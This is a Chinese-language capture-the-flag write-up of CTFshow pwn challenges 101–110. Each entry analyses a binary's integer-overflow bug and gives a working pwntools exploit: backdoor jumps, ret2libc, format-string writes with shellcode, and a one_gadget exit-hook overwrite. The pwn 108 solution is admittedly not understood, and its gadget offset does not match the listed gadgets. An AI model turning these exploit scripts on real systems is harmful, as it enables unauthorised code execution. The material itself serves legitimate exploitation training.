pwn101

Hint:还是简单的知识

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

还是64位保护全开

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+0h] [rbp-10h] BYREF
int n0x7FFFFFFF; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
v4 = 0x80000000;
n0x7FFFFFFF = 0x7FFFFFFF;
printf("Enter two integers: ");
if ( (unsigned int)__isoc99_scanf("%d %d", &v4, &n0x7FFFFFFF) == 2 )
{
if ( v4 == 0x80000000 && n0x7FFFFFFF == 0x7FFFFFFF )
gift();
else
printf("upover = %d, downover = %d\n", v4, n0x7FFFFFFF);
return 0;
}
else
{
puts("Error: Invalid input. Please enter two integers.");
return 1;
}
}

一个很简单的逻辑,先看到有一个useful函数,然后给v4和v5赋值为 0x80000000,0x7FFFFFFF,再提示用户输入两个整数,并将它存储在变量v4和v5中,返回值被强制转换为无符号数,然后与2进行比较。满足后进入下一个if语句,不满足则输出错误信息。如果输入的两个整数分别等于v4跟v5的初始值,则进入这个条件分支,有一个gift函数。如果输入的两个整数不是初始值,则输出这两个数的值。

分别跟进几个不知道干啥的函数useful:

int useful()
{
puts(" ====================================================================================================");
puts(" Type | Byte | Range ");
puts(" ====================================================================================================");
puts(" short int | 2 byte | 0~0x7fff 0x8000~0xffff ");
puts(" unsigned short int | 2 byte | 0~0xffff ");
puts(" int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff ");
puts(" unsigned int | 4 byte | 0~0xffffffff ");
puts(" long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff");
puts(" unsigned long int | 8 byte | 0~0xffffffffffffffff ");
return puts(" ====================================================================================================");
}

这里的0 ~ 0x7fffffff就是 0~2147483647

0x80000000 ~ 0xffffffff就是 -2147483648 ~ -1

gift:

int gift()
{
puts("This is the first question of this type");
puts("Here is you want:");
return system("cat /ctfshow_flag");
}

那么就很简单了只要我们输入的数等于它的初始值满足此条件即可

输入-2147483648 2147483647

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Integer_Overflow
* Site : https://ctf.show/
* Hint : Learn something first !
* *************************************
Maybe these help you:
====================================================================================================
Type | Byte | Range
====================================================================================================
short int | 2 byte | 0~0x7fff 0x8000~0xffff
unsigned short int | 2 byte | 0~0xffff
int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff
unsigned int | 4 byte | 0~0xffffffff
long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
unsigned long int | 8 byte | 0~0xffffffffffffffff
====================================================================================================
Enter two integers: -2147483648 2147483647
This is the first question of this type
Here is you want:
flag{just_test_my_process}
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
payload = b"-2147483648 2147483647" # 2147483648 2147483647 也可以
io.sendlineafter(b"Enter two integers: ",payload)
io.interactive()

pwn102

Hint:还是简单的知识

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

还是64位保护全开

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
v4 = 0;
printf("Enter an unsigned integer: ");
__isoc99_scanf("%u", &v4);
if ( v4 == -1 )
gift();
else
printf("Number = %u\n", v4);
return 0;
}

可以看到,在保护全开的时候,其实一般程序逻辑都非常简单,这里在IDA中甚至直接告诉我们让v4 =

-1 就会进入gift函数(选中-1按快捷键 ‘H’):→v4 == 0xFFFFFFFF→v4 == 4294967295

这里v4是一个无符号整数,并将其存储在变量v4中,这里可以发现在无符号整数上下文中,-1 对应的二进制表示为 0xFFFFFFFF,也就是 4294967295

$ ./pwn
...
Enter an unsigned integer: -1
This is the second question of this type
Here is you want:
flag{just_test_my_process}
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
io.sendline(b'4294967295') # -1
io.interactive()

pwn 103

Hint:看着好像还是不难

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

还是64位保护全开

IDA查看main函数,跟进ctfshow函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
ctfshow();
return 0;
}

unsigned __int64 ctfshow()
{
int n; // [rsp+4h] [rbp-6Ch] BYREF
void *src; // [rsp+8h] [rbp-68h]
_BYTE dest[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]

v4 = __readfsqword(0x28u);
n = 0;
src = 0;
printf("Enter the length of data (up to 80): ");
__isoc99_scanf("%d", &n);
if ( n <= 80 )
{
printf("Enter the data: ");
__isoc99_scanf(" %[^\n]", dest);
memcpy(dest, src, n);
if ( (unsigned __int64)dest > 0x1BF52 )
gift();
}
else
{
puts("Invalid input! No cookie for you!");
}
return __readfsqword(0x28u) ^ v4;
}

int gift()
{
puts("This is the third question of this type");
puts("Here is you want:");
return system("cat /ctfshow_flag");
}

逻辑还是很简单,满足其条件进入gift函数即可

关键逻辑分析:

(1)memcpy(dest, src, n)的陷阱:

src被初始化为NULL(空指针),因此memcpy实际是从NULL 指针地址复制n字节到dest。这是一个危险操作:

  • n > 0时:从 NULL 指针(内存地址 0 附近)读取数据会触发段错误(Segment Fault),程序直接崩溃,无法执行到后续的判断逻辑。
  • n = 0时:memcpy不执行任何操作(复制 0 字节),dest中保留用户输入的数据,程序可正常执行到判断逻辑。

(2)触发gift()的条件:(unsigned __int64)dest > 0x1BF52

这里的关键是理解dest的含义:
dest是数组名,在表达式中会被转换为指向数组首元素的指针(即dest的内存地址)。因此条件实际是判断:dest数组的首地址是否大于0x1BF52(十进制 126802)。

但在现代系统中,栈内存地址通常远大于0x1BF52(例如 x86_64 系统栈地址常在0x7fffffffxxxx范围),因此只要程序不崩溃,该条件默认成立

因此:

  1. 输入数据长度n = 0
  2. 输入任意数据(长度无要求,因为n=0dest保留输入内容,不影响地址判断)。
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
io.sendline(b'0')
io.sendline(b'a')
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 90
[*] Switching to interactive mode
Enter the length of data (up to 80): Enter the data: This is the third question of this type
Here is you want:
flag{just_test_my_process}

pwn 104

Hint:有什么是可控的?

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位程序关闭Canary与PIE,部分开启RELRO

IDA查看main函数,跟进ctfshow函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
ctfshow();
return 0;
}

ssize_t ctfshow()
{
_BYTE buf[10]; // [rsp+2h] [rbp-Eh] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

LODWORD(nbytes) = 0;
puts("How long are you?");
__isoc99_scanf("%d", &nbytes);
puts("Who are you?");
return read(0, buf, (unsigned int)nbytes);
}
  • buf的大小固定为 10 字节,但nbytes由用户控制,且没有任何限制
  • 当用户输入的nbytes > 10时,read函数会向buf写入超过其容量的数据,导致栈缓冲区溢出

看到程序中还有后门函数:

int that()
{
return system("/bin/sh");
}

简单来说我们只需要先利用&nbytes控制溢出长度,然后再使用buf实现溢出控制程序到后门函数即可。

$ ROPgadget --binary ./pwn | grep "ret"
0x000000000040055e : ret
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
that = 0x40078d
ret = 0x40055e
io.sendlineafter(b'How long are you?',b'255')
payload=b'a'*(0xe+8)+p64(ret)+p64(that)
io.sendlineafter(b'Who are you?',payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 168
[*] Switching to interactive mode

$ ls
ctfshow_flag

pwn 105

Hint:看着好像没啥问题

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭Canary 与PIE

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[1024]; // [esp+0h] [ebp-408h] BYREF
int *p_argc; // [esp+400h] [ebp-8h]

p_argc = &argc;
init();
logo();
puts("[+] Check your permissions:");
read(0, buf, 0x400u);
ctfshow(buf);
puts("wtf");
return 0;
}

看这没啥漏洞,读入0x400,buf大小明显是大于0x400的,跟进ctfshow:

char *__cdecl ctfshow(char *s)
{
char dest[8]; // [esp+7h] [ebp-11h] BYREF
unsigned __int8 n3; // [esp+Fh] [ebp-9h]

n3 = strlen(s);
if ( n3 <= 3u || n3 > 8u )
{
puts("Authentication failed!");
exit(-1);
}
printf("Authentication successful, Hello %s", s);
return strcpy(dest, s);
}

可以读入0x400进入buf,要满足条件3<n3<=8才能绕过判断执行strcpy,可以发现dest的栈只有0x11,所以这里存在栈溢出,可以发现n3是无符号整形的数据,__int8意味着只能存8位的数字转换成十进制就是0~255,这256个字节超出部分就截断了,但是read却可以读0x400进去所以可以利用整形溢出来bypass这个if条件

unsigned __int8 的本质:
unsigned __int8 是 8 位无符号整数,它的取值范围是 0~255(因为 2⁸-1=255)。
当给它赋值超过 255 的数时,会发生 截断 —— 只保留二进制的最后 8 位(低 8 位),相当于 值 % 256。

例如:
256 的二进制是 100000000(9 位),截断后保留低 8 位 00000000 → 对应十进制 0
257 的二进制是 100000001,截断后保留低 8 位 00000001 → 对应十进制 1
258 → 低 8 位 00000010 → 十进制 2
...
256 + n → 低 8 位是 n 的二进制 → 对应十进制 n(当 n < 256 时)

这里只需要满足它的条件(长度260[0x104])即可进行溢出了

dest 的大小是 0x11,加上 ebp 的 0x4,所以需要在前面填充 0x15h

继续查看发现程序中还是存在后门函数:

int success()
{
return system("/bin/sh");
}

那么这里就是一个短整数溢出加上一个栈溢出的简单利用了

from pwn import *
context.log_level ="debug"
io = process("./pwn")
elf = ELF("./pwn")
shell = elf.sym['success']
payload = b'a'*(0x11+4) + p32(shell)
payload = payload.ljust(0x104,b'a')
payload += b'\x00' #strlen(s)会继续读取buf之外的内存(直到遇到随机的\0)
io.sendafter(b'permissions:',payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 226
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode

Authentication successful, Hello aaaaaaaaaaaaaaaaaaaaa\x0e\x87\x04\x08aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ls
ctfshow_flag

pwn 106

Hint:还是非常简单

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭Canary与PIE

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
int p_n2; // [esp+0h] [ebp-Ch] BYREF
int *p_argc; // [esp+4h] [ebp-8h]

p_argc = &argc;
init();
logo();
puts("1.login");
puts("2.quit");
printf("Your choice:");
__isoc99_scanf("%d", &p_n2, v4, v5);
if ( p_n2 == 1 )
{
login(p_argc);
}
else
{
if ( p_n2 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}

给出一个小菜单,登录或者退出,看逻辑我们需要先登录,也就是输入1,进入if语句,跟进login函数:

int __cdecl login()
{
_BYTE s[40]; // [esp+8h] [ebp-230h] BYREF
char buf[516]; // [esp+30h] [ebp-208h] BYREF

memset(s, 0, sizeof(s));
memset(buf, 0, 0x200u);
puts("Please input your username:");
read(0, s, 0x19u);
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);
return check_passwd(buf);
}

然后让输入username 跟 passwd,这里看着也啥问题,跟进check_passwd():

char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 n3; // [esp+Fh] [ebp-9h]

n3 = strlen(s);
if ( n3 > 3u && n3 <= 8u )
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
else
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
}

跟上一题一样的,逻辑稍微变了一点,但是整体来说换汤不换药。

查看存在后门函数:

int fffflag()
{
return system("cat /ctfshow_flag");
}
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
cat_flag = elf.sym['fffflag']
io.sendlineafter(b'Your choice:',b'1')
io.sendlineafter(b'username:',b'rhea')
payload = cyclic(0x14+4)+p32(cat_flag)
payload = payload.ljust(0x104,b'a')
payload += b'\x00'
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 286
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode

Hello rhea

Please input your passwd:
Success
flag{just_test_my_process}
[*] Got EOF while reading in interactive

pwn 107

Hint:类型转换

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭Canary跟PIE

IDA查看main函数,直接跟进show函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
return show();
}

int show()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int n4; // [esp+3Ch] [ebp-Ch]

printf("How many bytes do you want me to read? ");
getch(nptr, 4);
n4 = atoi(nptr); //将字符串形式的数字转换为整数(int 类型)
if ( n4 > 32 )
return printf("No! That size (%d) is too large!\n", n4);
printf("Ok, sounds good. Give me %u bytes of data!\n", n4);
getch(nptr, n4);
return printf("You said: %s\n", nptr);
}

继续跟进getch:

char *__cdecl getch(char *p_nptr, unsigned int n4)
{
unsigned int n4_2; // eax
char *result; // eax
char char; // [esp+Bh] [ebp-Dh]
unsigned int n4_1; // [esp+Ch] [ebp-Ch]

for ( n4_1 = 0; ; ++n4_1 )
{
char = getchar();
if ( !char || char == 10 || n4_1 >= n4 )
break; // 1. 读取到空字符('\0');2. 读取到换行符('\n',ASCII码10);3. 已读取的字符数达到最大限制n4

// 将读取到的字符存入缓冲区:n4_2是n4_1的临时副本,等价于 p_nptr[n4_1] = char
n4_2 = n4_1;
p_nptr[n4_2] = char;
}
result = &p_nptr[n4_1];
p_nptr[n4_1] = 0;
return result;
}
//getch函数的核心功能是:安全读取指定长度的用户输入到缓冲区,并自动添加字符串结束符。

漏洞:有符号整数与无符号整数的转换问题

  • n4show 函数中是 int 类型(有符号),但 getch 函数的第二个参数是 unsigned int 类型(无符号)。
  • 当用户输入一个能让atoi返回负数的字符串(例如输入-1)时:
    • n4 会被解析为 -1(有符号整数)。
    • 检查 n4 > 32 时,-1 > 32 为假,绕过限制检查。
    • 调用 getch(nptr, n4) 时,n4-1)会被转换为 unsigned int 类型,在 32 位系统中结果为 0xFFFFFFFF(约 42 亿),即允许读取远超 32 字节的内容。

利用思路:

  1. 一开始输入负数,绕过长度限制,造成溢出
  2. 利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址
  3. 溢出覆盖返回地址去执行system(‘/bin/sh’)

首先在getch中读入长度被强制转换为unsigned int,此时-1变成了4294967295。使得我们 能够进行缓冲区溢出攻击,后面的就是常规的ret2libc了这里就不再赘述了。

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
main = elf.symbols['main'] #main函数地址(用于二次溢出时跳转回main)
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

io.sendlineafter(b'read? ',b'-1')
io.recvuntil(b'bytes of data!\n')
payload = cyclic(0x2c+4) + p32(printf_plt) + p32(main) + p32(printf_got)
#填充垃圾数据+覆盖返回地址为printf的PLT地址(调用printf)+printf执行完后跳回main函数(便于第二次溢出)+printf的参数:printf_got(即输出GOT表中存储的printf实际地址)
io.sendline(payload)
io.recvuntil(b'\n') #You said: %s\n
printf = u32(io.recv(4))
print(hex(printf))

libc_base = printf - libc.sym['printf']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))

# 再次与程序交互(因第一次溢出后跳回了main,程序重新执行)
io.sendlineafter(b'read? ',b'-1')
io.recvuntil(b'bytes of data!\n')
payload = cyclic(0x2c+4) + p32(system) + p32(main) + p32(bin_sh)
#同样填充垃圾数据覆盖缓冲区和ebp+覆盖返回地址为system函数地址+system执行完后跳回main(可选,不影响shell获取)+system的参数:/bin/sh字符串地址

io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 342
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0xf711adb0
[*] Switching to interactive mode
You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa04\x11\xf7\xb8\x85\x04\x08\xe8}(\xf7
$ ls
ctfshow_flag

pwn 108(不懂)

Hint:学累了吧,来玩个游戏

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位保护全开

IDA查看main函数:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int n2; // [rsp+8h] [rbp-28h]
int n2_1; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
_BYTE v7[3]; // [rsp+25h] [rbp-Bh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
sub_9BA(a1, a2, a3);
sub_A55();
puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts); // 泄露puts函数地址
puts("shoot!shoot!");
v6 = sub_B78(); //输入要打的地址,由于里面有atol函数转化为数字,所以不能用p64,要有str()
for ( n2 = 0; n2 <= 2; ++n2 )
{
puts("biang!");
read(0, &v7[n2], 1u); // 每次读1字节,共3字节到v7数组
getchar(); // 吸收输入后的换行符(避免干扰下一次输入)
}
if ( (unsigned int)sub_BC2(v7) ) // 检查v7(用户输入)是否满足条件
{
for ( n2_1 = 0; n2_1 <= 2; ++n2_1 )
*(_BYTE *)(n2_1 + v6) = v7[n2_1]; // 将v7的3字节写入v6指向的地址
}
if ( !dlopen(0, 1) ) //测试程序是否能够正常使用动态链接功能
exit(1);
puts("bye~");
return 0;
}

跟进sub_B78():

__int64 sub_B78()
{
char nptr[24]; // [rsp+0h] [rbp-20h] BYREF // 存储输入的字符串
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u); // 栈保护 canary
sub_AE3(nptr, 16); // 读取最多16字节输入到nptr
return atol(nptr); // 将十进制字符串转换为长整数(64位),作为v6的值
}

我们可以控制v6的值,以及v7[n2_1],并且程序打印了puts函数的真实地址,相当于拿到了libc基址。也就是任意地址任意写。

跟进sub_BC2:

__int64 __fastcall sub_BC2(_BYTE *a1)
{
if ( (*a1 != 0xC5 || a1[1] != 0xF2) && (*a1 != 34 || a1[1] != 0xF3) && *a1 != 0x8C && a1[1] != 0xA3 )
return 1;
puts("You always want a Gold Finger!");
return 0;
}

不允许数组的前两个元素同时为 0xc5 和 0xf2 ,或者 0x22 和 0xf3 ,或者 0x8c 和 0xa3

简单来说就是限制了gadget:

$ one_gadget ./libc-database/db/libc6_2.27-3ubuntu1_amd64.so
0x4f2be execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

有两种方法,要么使用现有 one_gadget 中已有可用选项

0x4f2be 的前两字节 0xbe 0xf2 完全符合 sub_BC2 的校验规则(不触发任何禁忌),因此无需调整地址,可直接使用

其约束条件为:

  • rsp+0x50 可写
  • rsp & 0xf == 0(栈对齐)
  • rcx == NULL{rcx, "-c", r12, NULL} 是有效 argv
还有一种方法是将one_gadget地址减5,以此来绕过检查

利用exit hook劫持 exit函数的调用流程exit函数--->*run_exit_handlers**函数**--->dl_fini**函数**--->*

*_dl_rtld_lock_recursive**指 针(这是个结构体指针变量) 而*dl_rtld_lock_recursive这个指针又指向了

**rtld_lock_default_lock_recursive** **最后又执行了** rtld_lock_default_lock_recursive 因此我们就把这个_dl_rtld_lock_recursive指针当做跳板,去将它指向的内容 (__rtld_lock_default_lock_recursive)也就是修改为one_gadget。

先简单了解一下,后续在堆中会更加详细讲解相关内容。
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1_amd64.so')

io.recvuntil(b'0x')
puts_addr = int(io.recv(12),16)
libc_base = puts_addr - libc.sym['puts']
strlen = libc_base + 0x3eb0a8

sss = str(strlen).encode()
io.sendline(sss)
one_gadget = libc_base + 0xe54fe

for _ in range(3):
io.sendlineafter(b"biang!\n", chr(one_gadget & 0xff))
one_gadget = one_gadget >> 8
io.interactive()

pwn 109

Hint:多种姿势

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments

32位关闭Canary与NX有可读可写可执⾏的段,第⼀反应还是还是shellcode打

IDA查看程序逻辑,依据函数功能修改函数名后如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int p_n2; // [esp+0h] [ebp-40Ch] BYREF
char buf[1024]; // [esp+4h] [ebp-408h] BYREF
int *p_argc; // [esp+404h] [ebp-8h]

p_argc = &argc;
init();
logo();
while ( 1 )
{
while ( 1 )
{
puts("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!");
__isoc99_scanf("%d", &p_n2);
getchar();
if ( p_n2 != 2 )
break;
printf_w(buf);
}
if ( p_n2 == 3 )
break;
if ( p_n2 == 1 )
leak_buf(buf, 0x400u);
else
printf("What do you mean by %d", p_n2);
}
puts("See you~");
return 0;
}

发现有⼀个格式化字符串漏洞,还会将栈地址泄漏出来:

int __cdecl printf_w(char *format)
{
return printf(format);
}

ssize_t __cdecl leak_buf(void *buf, size_t nbytes)
{
printf("%x\n", buf);
return read(0, buf, nbytes);
}

那么我们只需要在栈上部署好shellcode,再利⽤格式化字符串漏洞更改main函数地址返回到shellcode即可。

$ gdb pwn

pwndbg> r
What you want to do?
1) Input someing!
2) Hang out!!
3) Quit!!!
1
ffb201a0
^C

► 0 0xebd83579 __kernel_vsyscall+9 #系统调用层
1 0xebc4c9d7 read+55 #正在执行read函数,读取输入到buf
2 0x58d268db None #这应该是你重命名的`leak_buf`函数,因为它调用了read
3 0x58d2698e None #这应该是`main`函数,因为`leak_buf`被main调用
...
──────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> frame 3 #切换到main函数的栈帧
#3 0x58d2698e in ?? ()
pwndbg> info frame
Stack level 3, frame at 0xffb205c0:
eip = 0x58d2698e; saved eip = 0xebb5acb9
called by frame at 0xffb20620, caller of frame at 0xffb20180
Arglist at 0xffb205a8, args:
Locals at 0xffb205a8, Previous frame's sp is 0xffb205c0
Saved registers:
ebx at 0xffb205a4, ebp at 0xffb205a8, eip at 0xffb205bc

pwndbg> x/x $ebp + 4 #$ebp是上一步得到的main栈帧基地址(标准理论返回地址位置)
0xffb205ac: 0xebb5acb9
pwndbg> x/x $ebp + 0x14 #实际生效的返回地址位置
0xffb205bc: 0xebb5acb9

偏移量 = 返回地址(ret_addr) - buf 地址(ffb201a0)

0xffb205bc - 0xffb201a0 = 0x41c

中间的0x10字节(0xffb205ac0xffb205bc)很可能存储了 4 个被保存的寄存器(如ebxesiediedx),而函数在返回前通过调整栈指针(esp),使得ret指令最终读取的是$ebp + 0x14处的复制值,而非原始的$ebp + 4处的值。

from pwn import *
context.log_level = 'debug'
io = process('./pwn')

io.sendlineafter(b'Quit!!!\n',b'1') # 选择选项1,进入leak_buf函数
stack = int(io.recvuntil(b'\n'),16) # 接收buf的地址(leak_buf会用%x输出)
ret = stack + 0x41c # 计算main函数返回地址在栈上的位置

payload = fmtstr_payload(16,{ret:stack}) # 生成格式化字符串
io.sendline(payload)
io.sendlineafter(b'Quit!!!\n',b'2') # 选择选项2,触发printf_w漏洞,直接用printf(format)输出buf的内容

io.sendlineafter(b'Quit!!!\n',b'1') # 再次选择选项1,进入leak_buf
io.sendline(asm(shellcraft.sh())) # 往buf中写入shellcode

io.sendlineafter(b'Quit!!!\n',b'3') # 选择选项3,退出main函数
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 265
[*] Switching to interactive mode
See you~
$ ls
ctfshow_flag

pwn 110

Hint:溢出溢出溢出

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位⼏乎保护全关

IDA查看main函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("1+1= ?");
input();
while ( 1 )
puts(str); // "WTF?"
}

跟进input函数:

unsigned __int16 *input()
{
__int16 n1024; // [esp+Ah] [ebp-41Eh] BYREF
_BYTE buf[1025]; // [esp+Dh] [ebp-41Bh] BYREF
unsigned __int16 n1024_1; // [esp+40Eh] [ebp-1Ah] BYREF

strcpy(buf, "???"); // 将字符串"???"复制到buf(占前3字节,自动补'\0'终止符)
*(_DWORD *)&buf[4] = 0; // 将buf[4]~buf[7]共4字节设为0(清空)
*(_DWORD *)&buf[1021] = 0;
memset(&buf[7], 0, 4 * (((&buf[4] - &buf[7] + 1021) & 0xFFFFFFFC) >> 2));
//&buf[4] - &buf[7]是-3,加 1021 得 1018,对齐后为 1016 字节,因此从buf[7]开始填充 1016 个0。
__isoc99_scanf("%hd", &n1024); // 读取有符号短整数(int16_t)到n1024[范围 - 32768~32767]
if ( n1024 > 1024 )
{
puts("You are soooooooooo ******");
exit(0);
}
n1024_1 = n1024; // 转换为无符号短整数(uint16_t)
printf("%x %u\n", buf, (unsigned __int16)n1024);
//%x打印buf的地址(十六进制),这是栈上buf的起始地址,后续可直接跳转到这里执行 shellcode。
//%u打印n1024的无符号值(确认输入长度是否生效)。
read(0, buf, n1024_1);
qmemcpy(str, buf, 0x400u); // "WTF?"
unk_804B460 = buf[1024];
return &n1024_1;
}

核心漏洞总结:

  1. 整数溢出:通过输入-1(作为int16_t),转换为uint16_t后变成65535,绕过n1024 <= 1024的限制,允许读取远超buf大小的数据。
  2. 栈溢出read函数按65535字节写入buf(仅 1025 字节大小),会覆盖栈上的返回地址。
  3. 地址泄露printf直接打印buf的栈地址,为跳转执行 shellcode 提供了import目标地址。
有符号整数与无符号整数的二进制表示方式不同,且转换时二进制位本身不会改变,只会改变解读方式。

具体原理:
int16_t(16 位有符号整数)如何表示 - 1?
计算机中,有符号整数用「二进制补码」表示:
正数的补码 = 原码(直接表示)
负数的补码 = 绝对值的原码「取反加 1」
对于 - 1(int16_t):
绝对值 1 的 16 位原码是:0000 0000 0000 0001
取反后:1111 1111 1111 1110
加 1 后:1111 1111 1111 1111(二进制补码)
所以,-1 在 int16_t 中存储的二进制是 1111111111111111(十六进制为0xFFFF)。

转换为 uint16_t(16 位无符号整数)时发生了什么?
uint16_t 没有符号位,所有 16 位都用于表示数值,范围是0 ~ 65535(2^16 - 1)。
当 int16_t 的 - 1 转换为 uint16_t 时,二进制位不变(仍然是1111111111111111),但解读方式变了:
无符号情况下,1111111111111111 表示的数值是 2^15 + 2^14 + ... + 2^0 = 65535。

总结:
-1(int16_t)和65535(uint16_t)的二进制存储完全相同(都是0xFFFF),只是因为「符号解读方式」不同,导致数值看起来发生了变化。
